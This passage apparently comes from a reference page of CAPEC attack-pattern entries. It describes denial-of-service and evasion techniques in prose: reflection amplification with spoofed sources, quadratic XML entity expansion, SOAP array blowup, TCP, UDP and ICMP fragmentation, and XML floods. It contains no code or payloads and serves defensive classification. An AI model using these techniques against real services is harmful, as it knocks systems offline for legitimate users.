An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.

CAPEC-491: Quadratic Data Expansion

An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.

CAPEC-493: SOAP Array Blowup

An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.

CAPEC-494: TCP Fragmentation

An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.

CAPEC-495: UDP Fragmentation

An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.

CAPEC-496: ICMP Fragmentation

An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.

CAPEC-528: XML Flood

An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.

← Back to the CWE list